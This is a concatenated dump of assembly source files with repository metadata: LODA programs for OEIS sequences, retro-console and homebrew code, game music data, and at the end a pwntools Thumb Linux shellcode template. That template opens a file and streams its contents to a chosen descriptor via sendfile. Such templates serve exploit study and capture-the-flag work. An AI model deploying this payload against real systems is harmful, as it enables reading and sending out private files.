] | null | null | null | programs/oeis/080/A080951.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A080951: Sequence associated with recurrence a(n) = 2*a(n-1) + k*(k+2)*a(n-2).
; 1,5,30,140,560,2016,6720,21120,63360,183040,512512,1397760,3727360,9748480,25067520,63504384,158760960,392232960,958791680,2321285120,5571084288,13264486400,31352422400,73610035200,171756748800,398475657216,919559208960,2111580405760,4826469498880,10984378859520,24897925414912,56221121904640,126497524285440,283661115064320,634066021908480,1413061420253184,3140136489451520,6959221409054720
mov $2,$0
add $2,4
bin $2,4
lpb $0,1
sub $0,1
mul $2,2
lpe
mov $0,$2
sub $0,1
mul $0,24
mov $1,$0
div $1,48
add $1,1
| 35.117647 | 393 | 0.78727 |
1e212d25f0d6477d417239a8ca6a1933f13715f6 | 381 | asm | Assembly | benchmark/benchmark-lz4.sms.asm | maxim-zhao/bmp2tilecompressors | 1d0e475820731359165deb198aa834f8b177048a | [
"MIT"
] | 12 | 2016-04-20T06:08:11.000Z | 2021-10-12T10:43:39.000Z | benchmark/benchmark-lz4.sms.asm | maxim-zhao/bmp2tilecompressors | 1d0e475820731359165deb198aa834f8b177048a | [
"MIT"
] | 3 | 2016-09-21T14:39:11.000Z | 2021-04-12T16:54:40.000Z | benchmark/benchmark-lz4.sms.asm | maxim-zhao/bmp2tilecompressors | 1d0e475820731359165deb198aa834f8b177048a | [
"MIT"
] | null | null | null | ; { "technology": "LZ4", "extension": "lz4" }
.memorymap
defaultslot 0
slotsize $4000
slot 0 $0000
.endme
.rombankmap
bankstotal 1
banksize $4000
banks 1
.endro
.bank 0 slot 0
.org 0
ld hl,data
ld de,$4000
ld ix,dataend
call lz4_decompress
ret ; ends the test
.block "decompressor"
.include "../decompressors/LZ4 decompressor.asm"
.endb
data: .incbin "data.lz4"
dataend: | 13.137931 | 48 | 0.713911 |
d5e6e88b87aa5e52330135280e19f7a54779c557 | 181 | asm | Assembly | libsrc/_DEVELOPMENT/adt/ba_stack/c/sccz80/ba_stack_clear.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/ba_stack/c/sccz80/ba_stack_clear.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/ba_stack/c/sccz80/ba_stack_clear.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; void ba_stack_clear(ba_stack_t *s)
SECTION code_adt_ba_stack
PUBLIC ba_stack_clear
defc ba_stack_clear = asm_ba_stack_clear
INCLUDE "adt/ba_stack/z80/asm_ba_stack_clear.asm"
| 16.454545 | 49 | 0.834254 |
5b6d06a60eb180da0059bda359b1d057b7ecb9aa | 222 | asm | Assembly | rustemu86/tests/asms/write_vga_text_buffer.asm | tomoyuki-nakabayashi/Rustemu86 | 70b5eee8f3bfd56cc7098edfba374b085f0faa56 | [
"Apache-2.0"
] | 3 | 2019-02-05T13:56:25.000Z | 2019-02-07T05:27:30.000Z | rustemu86/tests/asms/write_vga_text_buffer.asm | tomoyuki-nakabayashi/Rustemu86 | 70b5eee8f3bfd56cc7098edfba374b085f0faa56 | [
"Apache-2.0"
] | 51 | 2018-07-22T00:48:48.000Z | 2019-02-16T02:06:05.000Z | rustemu86/tests/asms/write_vga_text_buffer.asm | tomoyuki-nakabayashi/Rustemu86 | 70b5eee8f3bfd56cc7098edfba374b085f0faa56 | [
"Apache-2.0"
] | null | null | null | bits 64
mov word [0xb8000], 0x0148 ; blue `H`
mov word [0xb8002], 0x0265 ; green `e`
mov word [0xb8004], 0x036c ; cyan `l`
mov word [0xb8006], 0x046c ; red `l`
mov word [0xb8008], 0x056f ; magenta `o`
hlt | 27.75 | 41 | 0.617117 |
97be3c1de67270243897d7506fd6875cfa8070c3 | 201 | asm | Assembly | 09-vga-driver/longmode.asm | starsheriff/train-os | 218f446fd0a6be12e7f51664631a17d00dca94de | [
"Apache-2.0"
] | 3 | 2019-10-23T06:21:45.000Z | 2022-01-25T13:00:02.000Z | 10a-interrupts/longmode.asm | starsheriff/train-os | 218f446fd0a6be12e7f51664631a17d00dca94de | [
"Apache-2.0"
] | null | null | null | 10a-interrupts/longmode.asm | starsheriff/train-os | 218f446fd0a6be12e7f51664631a17d00dca94de | [
"Apache-2.0"
] | null | null | null | global longstart
section .text
bits 64
longstart:
mov word [0xb8000], 0x0e4f ; 'O', yellow on black
mov word [0xb8002], 0x0e4b ; 'K', yellow on black
;mov eax, [0xFF_FFFF]
hlt
| 15.461538 | 53 | 0.631841 |
b7d0dd192d7e899bcb4428534ac71a94e7cf2a80 | 11,428 | asm | Assembly | audio/music/rivalbattle.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | 2 | 2022-02-17T11:11:03.000Z | 2022-02-21T03:41:01.000Z | audio/music/rivalbattle.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | null | null | null | audio/music/rivalbattle.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | null | null | null | Music_RivalBattle:
channel_count 3
channel 1, Music_RivalBattle_Ch1
channel 2, Music_RivalBattle_Ch2
channel 3, Music_RivalBattle_Ch3
Music_RivalBattle_Ch1_sub_0:
volume_envelope 11, 2
note G_, 4
note G_, 4
note G_, 4
note E_, 4
note G_, 4
note G_, 4
sound_ret
Music_RivalBattle_Ch1_sub_1:
volume_envelope 11, 2
note F#, 4
note F#, 4
note F#, 4
note D#, 4
note F#, 4
note F#, 4
note F#, 2
volume_envelope 11, 4
note B_, 6
sound_ret
Music_RivalBattle_Ch1_sub_2:
note G_, 16
note G_, 1
rest 1
note E_, 6
note G_, 2
rest 2
octave 4
note C_, 2
rest 2
sound_ret
Music_RivalBattle_Ch1::
tempo 105
volume 7, 7
duty_cycle 3
pitch_offset 1
vibrato 8, 1, 5
note_type 12, 11, 2
octave 4
note G_, 1
note A_, 1
note G_, 1
note A_, 1
octave 3
note A#, 1
note A_, 1
note G#, 1
note G_, 1
note G#, 1
note G_, 1
note F#, 1
note F_, 1
note F#, 1
note F_, 1
note E_, 1
note D#, 1
note E_, 1
note D#, 1
note D_, 1
note C#, 1
note D_, 1
note C#, 1
note C_, 1
octave 2
note B_, 1
octave 3
note C_, 1
octave 2
note B_, 1
note A#, 1
note A_, 1
note A#, 1
note A_, 1
note G#, 1
note G_, 1
rest 2
octave 3
sound_call Music_RivalBattle_Ch1_sub_1
sound_call Music_RivalBattle_Ch1_sub_1
sound_call Music_RivalBattle_Ch1_sub_0
note G_, 2
octave 4
volume_envelope 11, 4
note C_, 6
octave 3
sound_call Music_RivalBattle_Ch1_sub_0
note G_, 2
octave 4
volume_envelope 11, 4
note C_, 4
octave 3
.loop
octave 3
volume_envelope 11, 7
sound_call Music_RivalBattle_Ch1_sub_2
octave 3
note A#, 16
note G_, 8
note A#, 8
sound_call Music_RivalBattle_Ch1_sub_2
note D#, 16
note F_, 6
note D#, 4
octave 3
note A#, 2
note A#, 2
octave 4
note D_, 2
note C_, 12
note D_, 4
note C_, 16
octave 3
note G_, 4
note A#, 4
octave 4
note D_, 4
note F_, 4
octave 3
note A#, 4
octave 4
note D_, 4
note F_, 6
note A#, 2
note G_, 14
note G_, 1
note E_, 1
note C_, 16
note F_, 4
note D_, 4
octave 3
note A#, 4
note F_, 4
octave 4
note A#, 4
note F_, 4
note D_, 4
octave 3
note A#, 2
note B_, 2
octave 4
note C_, 16
note E_, 6
note D_, 6
note C_, 4
note F_, 1
rest 1
note F_, 1
rest 1
note D_, 12
note D_, 1
rest 1
note D_, 1
rest 1
octave 3
note A#, 8
note A#, 2
note B_, 2
octave 4
note C_, 6
octave 3
note G_, 6
note F_, 4
note E_, 6
note F_, 6
note E_, 4
note A#, 1
rest 1
note A#, 1
rest 1
octave 4
note D_, 12
note D_, 1
rest 1
note D_, 1
rest 1
note F_, 8
note F_, 2
note F#, 2
note G_, 6
note D_, 6
note C_, 4
note E_, 6
note D_, 6
note C_, 4
octave 3
note G_, 8
octave 4
note C_, 4
octave 3
note G_, 16
octave 4
note C_, 4
octave 3
note G#, 8
octave 4
note C#, 4
octave 3
note G#, 16
octave 4
note C#, 4
octave 3
note A_, 8
octave 4
note D_, 4
octave 3
note A_, 16
octave 4
note D_, 4
octave 3
note B_, 8
octave 4
note E_, 4
octave 3
note B_, 16
octave 4
note E_, 4
octave 3
volume_envelope 7, -7
note F#, 16
volume_envelope 11, 0
note F#, 16
volume_envelope 11, 0
note F#, 16
volume_envelope 11, 7
note F#, 16
rest 2
volume_envelope 11, 2
sound_call Music_RivalBattle_Ch1_sub_0
note G_, 4
octave 4
note C_, 2
sound_loop 0, .loop
Music_RivalBattle_Ch2_sub_0:
note F#, 2
note F_, 2
note D#, 2
note C#, 2
octave 3
note B_, 2
octave 4
note C#, 2
note D#, 2
sound_ret
Music_RivalBattle_Ch2_sub_1:
octave 5
note C#, 1
octave 4
note B_, 1
octave 5
note C#, 1
octave 4
note B_, 4
sound_ret
Music_RivalBattle_Ch2_sub_2:
volume_envelope 12, 2
note C_, 4
note C_, 4
note C_, 2
octave 3
note G_, 2
octave 4
note C_, 4
note C_, 4
sound_ret
Music_RivalBattle_Ch2_sub_3:
volume_envelope 12, 2
octave 3
note B_, 4
note B_, 4
note B_, 2
note F#, 2
note B_, 4
note B_, 4
sound_ret
Music_RivalBattle_Ch2_sub_4:
note C_, 16
note C_, 1
rest 1
octave 3
note G_, 6
octave 4
note C_, 2
rest 2
note G_, 2
rest 2
sound_ret
Music_RivalBattle_Ch2::
duty_cycle 3
vibrato 8, 3, 6
note_type 12, 12, 2
octave 4
note B_, 1
sound_call Music_RivalBattle_Ch2_sub_1
note B_, 1
sound_call Music_RivalBattle_Ch2_sub_1
note B_, 1
sound_call Music_RivalBattle_Ch2_sub_1
note B_, 1
sound_call Music_RivalBattle_Ch2_sub_1
rest 2
sound_call Music_RivalBattle_Ch2_sub_3
note B_, 4
note B_, 2
volume_envelope 12, 4
octave 4
note D#, 6
sound_call Music_RivalBattle_Ch2_sub_3
note B_, 2
note F#, 2
note B_, 2
volume_envelope 12, 4
octave 4
note D#, 6
sound_call Music_RivalBattle_Ch2_sub_2
note C_, 4
note C_, 2
volume_envelope 12, 4
note E_, 6
sound_call Music_RivalBattle_Ch2_sub_2
note C_, 2
octave 3
note G_, 2
octave 4
note C_, 2
volume_envelope 12, 4
note E_, 4
.loop
volume_envelope 12, 7
sound_call Music_RivalBattle_Ch2_sub_4
note F_, 14
note F_, 1
note D#, 1
note D_, 16
sound_call Music_RivalBattle_Ch2_sub_4
note G#, 16
note A#, 6
note G#, 4
note G_, 2
note F_, 2
note G#, 2
note G_, 12
note F_, 4
note E_, 16
octave 3
note A#, 4
octave 4
note D_, 4
note F_, 4
note A#, 4
note D_, 4
note F_, 4
note A#, 6
octave 5
note D_, 2
note C_, 14
note C_, 1
octave 4
note G_, 1
note E_, 16
note A#, 4
note F_, 4
note D_, 4
octave 3
note A#, 4
octave 5
note D_, 4
octave 4
note A#, 4
note F_, 4
note D_, 2
note D#, 2
note E_, 14
note E_, 1
note G_, 1
octave 5
note C_, 16
octave 4
note A#, 1
rest 1
note A#, 1
rest 1
note F_, 12
note F_, 1
rest 1
note F_, 1
rest 1
note D_, 8
note D_, 2
note D#, 2
volume_envelope 12, -7
note E_, 16
volume_envelope 12, 7
note E_, 16
note D_, 1
rest 1
note D_, 1
rest 1
note F_, 12
note F_, 1
rest 1
note F_, 1
rest 1
note A#, 8
note A#, 2
note B_, 2
volume_envelope 12, -7
octave 5
note C_, 16
volume_envelope 12, 7
note C_, 16
octave 4
note C_, 8
note E_, 4
note C_, 16
note E_, 4
note C#, 8
note F_, 4
note C#, 16
note F_, 4
note D_, 8
note F#, 4
note D_, 16
note F#, 4
note E_, 8
note G#, 4
note E_, 16
note G#, 4
volume_envelope 12, 2
sound_call Music_RivalBattle_Ch2_sub_0
note F_, 2
sound_call Music_RivalBattle_Ch2_sub_0
note F_, 2
sound_call Music_RivalBattle_Ch2_sub_0
note F_, 2
sound_call Music_RivalBattle_Ch2_sub_0
note F#, 2
note G_, 2
note C_, 4
note C_, 4
note C_, 4
octave 3
note G_, 4
octave 4
note C_, 4
note C_, 4
note C_, 4
note E_, 2
sound_loop 0, .loop
Music_RivalBattle_Ch3_sub_0:
note C_, 2
octave 4
note C_, 2
octave 3
note C_, 2
octave 4
note C_, 2
octave 3
note C_, 2
octave 4
note C_, 2
octave 3
note C_, 2
octave 4
note C_, 2
sound_ret
Music_RivalBattle_Ch3_sub_1:
octave 2
note A#, 2
octave 3
note A#, 2
octave 2
note A#, 2
octave 3
note A#, 2
octave 2
note A#, 2
octave 3
note A#, 2
octave 2
note A#, 2
octave 3
sound_ret
Music_RivalBattle_Ch3_sub_2:
note B_, 2
octave 2
note B_, 2
octave 3
note B_, 2
octave 2
note B_, 2
octave 3
note B_, 2
octave 2
note B_, 2
octave 3
sound_ret
Music_RivalBattle_Ch3_sub_3:
octave 2
note A#, 1
rest 1
note A#, 1
rest 1
octave 3
note F_, 2
octave 2
note A#, 2
octave 3
note F_, 2
octave 2
note A#, 2
octave 3
note F_, 2
octave 2
note A#, 2
note A#, 1
rest 1
note A#, 1
rest 1
octave 3
note A#, 2
octave 2
note A#, 2
octave 3
note A#, 2
octave 2
note A#, 2
octave 3
note A#, 2
octave 2
note B_, 2
octave 3
sound_ret
Music_RivalBattle_Ch3_sub_4:
note F#, 2
octave 4
note C#, 2
octave 3
note F#, 2
octave 4
note F#, 2
octave 3
note F#, 2
octave 4
note F#, 2
octave 3
sound_ret
Music_RivalBattle_Ch3_sub_5:
octave 3
note E_, 2
octave 4
note E_, 2
octave 3
note E_, 2
octave 4
note E_, 2
sound_ret
Music_RivalBattle_Ch3_sub_6:
octave 3
note C#, 2
octave 4
note C#, 2
octave 3
note C#, 2
octave 4
note C#, 2
sound_ret
Music_RivalBattle_Ch3_sub_7:
note D_, 2
octave 4
note D_, 2
octave 3
note D_, 2
octave 4
note D_, 2
octave 3
note D_, 2
octave 4
note D_, 2
octave 3
note D_, 2
octave 4
note D_, 2
sound_ret
Music_RivalBattle_Ch3_sub_8:
octave 3
note C_, 2
octave 4
note C_, 2
octave 3
note C_, 2
octave 4
note C_, 2
octave 3
note C_, 2
octave 4
note C_, 2
octave 3
note C_, 2
sound_ret
Music_RivalBattle_Ch3_sub_9:
octave 3
note C_, 2
note G_, 2
octave 4
note C_, 2
note D_, 2
note E_, 2
note C_, 2
octave 3
note G_, 2
note E_, 2
sound_ret
Music_RivalBattle_Ch3::
vibrato 0, 0, 0
note_type 12, 13, 4
octave 4
note G_, 1
note A_, 1
note G_, 1
note A_, 1
note G_, 4
note F#, 1
note G_, 1
note F#, 1
note G_, 1
note F#, 4
octave 3
note F#, 4
note F_, 2
note E_, 2
note D#, 2
note D_, 2
note C#, 2
note C_, 2
octave 2
note B_, 2
octave 3
sound_call Music_RivalBattle_Ch3_sub_2
sound_call Music_RivalBattle_Ch3_sub_2
sound_call Music_RivalBattle_Ch3_sub_2
sound_call Music_RivalBattle_Ch3_sub_2
sound_call Music_RivalBattle_Ch3_sub_2
note B_, 2
sound_call Music_RivalBattle_Ch3_sub_0
octave 3
sound_call Music_RivalBattle_Ch3_sub_0
octave 3
sound_call Music_RivalBattle_Ch3_sub_0
note C_, 2
octave 3
note C_, 2
note C_, 2
octave 4
note C_, 2
octave 3
note B_, 2
note A_, 2
note B_, 2
note G_, 2
.loop
sound_call Music_RivalBattle_Ch3_sub_0
octave 3
sound_call Music_RivalBattle_Ch3_sub_0
sound_call Music_RivalBattle_Ch3_sub_1
note A#, 2
octave 2
note G_, 2
octave 3
note G_, 2
octave 2
note G_, 2
octave 3
note G_, 2
octave 2
note G_, 2
octave 3
note G_, 2
octave 2
note G_, 2
octave 3
note B_, 2
sound_call Music_RivalBattle_Ch3_sub_0
octave 3
sound_call Music_RivalBattle_Ch3_sub_0
octave 2
note G#, 2
octave 3
note G#, 2
octave 2
note G#, 2
octave 3
note G#, 2
octave 2
note G#, 2
octave 3
note G#, 2
octave 2
note G#, 2
octave 3
note G#, 2
sound_call Music_RivalBattle_Ch3_sub_1
note B_, 2
sound_call Music_RivalBattle_Ch3_sub_0
sound_call Music_RivalBattle_Ch3_sub_8
note A_, 2
sound_call Music_RivalBattle_Ch3_sub_1
note A#, 2
sound_call Music_RivalBattle_Ch3_sub_1
note B_, 2
sound_call Music_RivalBattle_Ch3_sub_0
octave 3
sound_call Music_RivalBattle_Ch3_sub_0
sound_call Music_RivalBattle_Ch3_sub_1
note A#, 2
sound_call Music_RivalBattle_Ch3_sub_1
note B_, 2
sound_call Music_RivalBattle_Ch3_sub_0
octave 3
sound_call Music_RivalBattle_Ch3_sub_0
sound_call Music_RivalBattle_Ch3_sub_3
sound_call Music_RivalBattle_Ch3_sub_0
sound_call Music_RivalBattle_Ch3_sub_9
sound_call Music_RivalBattle_Ch3_sub_3
sound_call Music_RivalBattle_Ch3_sub_0
sound_call Music_RivalBattle_Ch3_sub_9
sound_call Music_RivalBattle_Ch3_sub_0
octave 3
sound_call Music_RivalBattle_Ch3_sub_0
sound_call Music_RivalBattle_Ch3_sub_6
sound_call Music_RivalBattle_Ch3_sub_6
sound_call Music_RivalBattle_Ch3_sub_6
sound_call Music_RivalBattle_Ch3_sub_6
octave 3
sound_call Music_RivalBattle_Ch3_sub_7
octave 3
sound_call Music_RivalBattle_Ch3_sub_7
sound_call Music_RivalBattle_Ch3_sub_5
sound_call Music_RivalBattle_Ch3_sub_5
sound_call Music_RivalBattle_Ch3_sub_5
sound_call Music_RivalBattle_Ch3_sub_5
octave 3
sound_call Music_RivalBattle_Ch3_sub_4
sound_call Music_RivalBattle_Ch3_sub_4
note F#, 2
octave 4
note F#, 2
octave 3
note F#, 2
octave 4
note F#, 2
octave 3
sound_call Music_RivalBattle_Ch3_sub_4
sound_call Music_RivalBattle_Ch3_sub_4
note F#, 2
octave 4
note F#, 2
octave 3
note C_, 2
note B_, 2
sound_call Music_RivalBattle_Ch3_sub_0
sound_call Music_RivalBattle_Ch3_sub_0
sound_loop 0, .loop | 14.860858 | 39 | 0.711323 |
a6c6b13e745ce3a75f750bb1c9df4a7c6ce488e1 | 550 | asm | Assembly | oeis/198/A198859.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/198/A198859.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/198/A198859.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A198859: 2*9^n-1.
; 1,17,161,1457,13121,118097,1062881,9565937,86093441,774840977,6973568801,62762119217,564859072961,5083731656657,45753584909921,411782264189297,3706040377703681,33354363399333137,300189270593998241,2701703435345984177,24315330918113857601,218837978263024718417,1969541804367222465761,17725876239305002191857,159532886153745019726721,1435795975383705177540497,12922163778453346597864481,116299474006080119380780337,1046695266054721074427023041,9420257394492489669843207377
mov $1,9
pow $1,$0
sub $1,1
mul $1,2
add $1,1
mov $0,$1
| 55 | 472 | 0.876364 |
e62b5834473dcf856759cbe729dfe8950548fc52 | 729 | asm | Assembly | oeis/002/A002496.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/002/A002496.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/002/A002496.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A002496: Primes of the form k^2 + 1.
; Submitted by Christian Krause
; 2,5,17,37,101,197,257,401,577,677,1297,1601,2917,3137,4357,5477,7057,8101,8837,12101,13457,14401,15377,15877,16901,17957,21317,22501,24337,25601,28901,30977,32401,33857,41617,42437,44101,50177,52901,55697,57601,62501,65537,67601,69697,72901,78401,80657,90001,93637,98597,106277,115601,122501,147457,148997,156817,160001,164837,176401,184901,190097,193601,197137,215297,217157,220901,224677,240101,246017,287297,295937,309137,324901,331777,341057,352837,401957,404497,414737,417317,427717,454277
pow $1,$0
seq $0,168024 ; Noncomposite numbers in the northwestern ray of the Ulam spiral as oriented on the March 1964 cover of Scientific American.
add $0,$1
| 91.125 | 496 | 0.803841 |
c120b044c4977234c38ffb07adf452c50e96cf90 | 2,431 | asm | Assembly | source/main/commands/misc/stopend.asm | paulscottrobson/6502-basic | d4c360041bfa49427a506465e58bb0ef94beaa44 | [
"MIT"
] | 3 | 2021-09-30T19:34:11.000Z | 2021-10-31T06:55:50.000Z | source/main/commands/misc/stopend.asm | paulscottrobson/6502-Basic | d4c360041bfa49427a506465e58bb0ef94beaa44 | [
"MIT"
] | null | null | null | source/main/commands/misc/stopend.asm | paulscottrobson/6502-Basic | d4c360041bfa49427a506465e58bb0ef94beaa44 | [
"MIT"
] | 1 | 2021-12-07T21:58:44.000Z | 2021-12-07T21:58:44.000Z | ; ************************************************************************************************
; ************************************************************************************************
;
; Name: stopend.asm
; Purpose: Stop and End
; Created: 26th February 2021
; Reviewed: 7th March 2021
; Author: Paul Robson (paul@robsons.org.uk)
;
; ************************************************************************************************
; ************************************************************************************************
.section code
; ************************************************************************************************
;
; Stop command
;
; ************************************************************************************************
CommandStop: ;; [stop]
.throw Stop
; ************************************************************************************************
;
; End command
;
; ************************************************************************************************
CommandEnd: ;; [end]
jmp WarmStart
; ************************************************************************************************
;
; Quit Emulator & Dump
;
; ************************************************************************************************
CommandXemu: ;; [xemu]
jmp $FFFF ; fudge to crash out of emulator
; ************************************************************************************************
;
; End of line handler
;
; ************************************************************************************************
AdvanceNextLine: ;; [[[EOL]]]
ldy #0 ; get offset
lda (codePtr),y
clc ; add to codePtr
adc codePtr
sta codePtr
bcc _ANLNoCarry
inc codePtr+1
_ANLNoCarry:
lda (codePtr),y ; if end of program (or was just stand alone.
beq CommandEnd ; execute END
ldy #3 ; start of tokens on line.
rts
.send code
; ************************************************************************************************
;
; Changes and Updates
;
; ************************************************************************************************
;
; Date Notes
; ==== =====
; 07-Mar-21 Pre code read v0.01
;
; ************************************************************************************************
| 32.413333 | 98 | 0.217195 |
4b5c8071dada2d2caaadd1b3a1862fb55fc9c5b5 | 440 | asm | Assembly | programs/oeis/081/A081910.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/081/A081910.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/081/A081910.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A081910: 4^n*(n^2-n+32)/32.
; 1,4,17,76,352,1664,7936,37888,180224,851968,3997696,18612224,85983232,394264576,1795162112,8120172544,36507222016,163208757248,725849473024,3212635537408,14156212207616,62122406969344,271579372060672,1183074511486976,5136918324969472
mov $4,$0
mul $0,2
bin $4,2
mov $3,$4
add $3,4
add $4,8
mov $5,$4
lpb $0,1
sub $0,1
add $3,10
mul $3,2
mul $5,2
lpe
mov $1,$3
add $2,$5
add $1,$2
div $1,32
add $1,1
| 20 | 235 | 0.715909 |
a0c515d6b4a53801443c65d92b1c08f65135881f | 829 | asm | Assembly | oeis/202/A202332.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/202/A202332.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/202/A202332.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A202332: Number of (n+1) X 6 binary arrays with consecutive windows of two bits considered as a binary number nondecreasing in every row and column.
; Submitted by Jon Maiga
; 64,191,478,1052,2102,3896,6800,11299,18020,27757,41498,60454,86090,120158,164732,222245,295528,387851,502966,645152,819262,1030772,1285832,1591319,1954892,2385049,2891186,3483658,4173842,4974202,5898356,6961145,8178704,9568535,11149582,12942308,14968774,17252720,19819648,22696907,25913780,29501573,33493706,37925806,42835802,48264022,54253292,60849037,68099384,76055267,84770534,94302056,104709838,116057132,128410552,141840191,156419740,172226609,189342050,207851282,227843618,249412594,272656100
mul $0,2
mov $1,$0
div $0,2
add $0,1
add $1,10
div $1,2
add $1,1
mov $2,$1
bin $1,$0
add $0,1
add $2,2
bin $2,$0
mul $2,2
add $2,$1
mov $0,$2
add $0,2
| 39.47619 | 500 | 0.790109 |
91b3d1b7b6e74d3ea55050588ef99a3104fb72dc | 506 | asm | Assembly | oeis/075/A075653.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/075/A075653.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/075/A075653.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A075653: a(n) = n + sopf(n), where sopf is the sum of the distinct prime factors of n (A008472).
; 1,4,6,6,10,11,14,10,12,17,22,17,26,23,23,18,34,23,38,27,31,35,46,29,30,41,30,37,58,40,62,34,47,53,47,41,74,59,55,47,82,54,86,57,53,71,94,53,56,57,71,67,106,59,71,65,79,89,118,70,122,95,73,66,83,82,134,87,95,84,142,77,146,113,83,97,95,96,158,87,84,125,166,96,107,131,119,101,178,100,111,117,127,143,119,101,194,107,113,107
mov $1,$0
seq $1,8472 ; Sum of the distinct primes dividing n.
add $0,$1
add $0,1
| 63.25 | 323 | 0.677866 |
30c4c465272cc687007f362fd15f17f350d41ec7 | 520 | asm | Assembly | libsrc/target/tvc/romgfx/move.asm | dikdom/z88dk | 40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0 | [
"ClArtistic"
] | null | null | null | libsrc/target/tvc/romgfx/move.asm | dikdom/z88dk | 40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0 | [
"ClArtistic"
] | 2 | 2022-03-20T22:17:35.000Z | 2022-03-24T16:10:00.000Z | libsrc/target/tvc/romgfx/move.asm | jorgegv/z88dk | 127130cf11f9ff268ba53e308138b12d2b9be90a | [
"ClArtistic"
] | null | null | null | ;
; Videoton TV Computer C stub
; Sandor Vass - 2019
;
; Move pen to dX;dY (BC;DE) relatively
;
SECTION code_clib
PUBLIC move
INCLUDE "target/tvc/def/tvc.def"
.move
._move
ld hl,2
add hl,sp
ld e,(hl) ; getting dY
inc hl
ld d,(hl)
inc hl
ld c,(hl) ; getting dX
inc hl
ld b,(hl)
ld hl,0 ; y=-y
xor a
sbc hl,de
ex de,hl
rst $30
defb BREL ; GRAPHICS - MOVE CURSOR RELATIVE
ret
| 14.444444 | 50 | 0.490385 |
08be9d217f2d99a098dd44af32b888ce925922c1 | 782 | asm | Assembly | pwnlib/shellcraft/templates/thumb/linux/readfile.asm | IMULMUL/python3-pwntools | 61210a68cd88e9084c72292d3119c38c44f07966 | [
"MIT"
] | 325 | 2016-01-25T08:38:06.000Z | 2022-03-30T14:31:50.000Z | pwnlib/shellcraft/templates/thumb/linux/readfile.asm | IMULMUL/python3-pwntools | 61210a68cd88e9084c72292d3119c38c44f07966 | [
"MIT"
] | 8 | 2016-08-23T10:15:27.000Z | 2019-01-16T02:49:34.000Z | pwnlib/shellcraft/templates/thumb/linux/readfile.asm | IMULMUL/python3-pwntools | 61210a68cd88e9084c72292d3119c38c44f07966 | [
"MIT"
] | 71 | 2016-07-13T10:03:52.000Z | 2022-01-10T11:57:34.000Z | <%
from pwnlib.shellcraft import thumb
from pwnlib.util.net import sockaddr
%>
<%page args="path, dst='r6'"/>
<%docstring>
Args: [path, dst (imm/reg) = r6]
Opens the specified file path and sends its content to the specified file descriptor.
Leaves the destination file descriptor in r6 and the input file descriptor in r5.
</%docstring>
/* Save dst fd for later */
${thumb.mov('r6', dst)}
${thumb.pushstr(path)}
${thumb.syscall('SYS_open', 'sp', 'O_RDONLY')}
/* Save src fd for later */
${thumb.mov('r5', 'r0')}
/* Allocate room for struct stat */
sub sp, sp, #88
${thumb.syscall('SYS_fstat64', 'r0', 'sp')}
/* Load file size into r3 */
ldr r3, [sp, #48]
${thumb.syscall('SYS_sendfile', 'r6', 'r5', 0, 'r3')}
| 26.066667 | 89 | 0.611253 |
